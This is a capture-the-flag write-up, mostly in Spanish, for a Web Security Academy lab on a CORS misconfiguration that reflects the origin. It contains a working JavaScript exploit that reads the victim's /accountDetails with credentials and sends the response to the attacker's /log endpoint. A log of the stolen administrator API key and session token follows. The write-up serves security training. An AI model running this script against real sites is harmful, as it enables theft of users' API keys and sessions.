01 Lab: CORS vulnerability with basic origin reflection
This website has an insecure CORS configuration in that it trusts all origins.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.
You can log in to your own account using the following credentials: wiener:peterLA API DE NUESTRO USUARIO LA VEMOS
Debemos sacar de que request se obtiene esta api, para forzar a que nos de la API del admin
<script>
fetch('/accountDetails', {credentials:'include'})
.then(r => r.json())
.then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
La respuesta indica
Access-Control-Allow-CredentialsAgregamos en la consulta el header :
Origin: https://example.comVemos que en el origen está reflejado la cabecera
Access-Control-Allow-Origin
Vamos al exploit server usando el siguiente script, para obtener los valores en texto plano como respuesta.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a0200ff04db1ddb8291e8bc00860057.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22mb3KgaQCchw5JDpEYCho1XPW7Orh3RbO%22,%20%20%22sessions%22:%20[%20%20%20%20%22CCiwxWIywzlbk6Pb2UWFn08CtnDI0Olu%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"GET /log?key={ "username": "administrator", "email": "", "apikey": "mb3KgaQCchw5JDpEYCho1XPW7Orh3RbO", "sessions": [ "CCiwxWIywzlbk6Pb2UWFn08CtnDI0Olu" ]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
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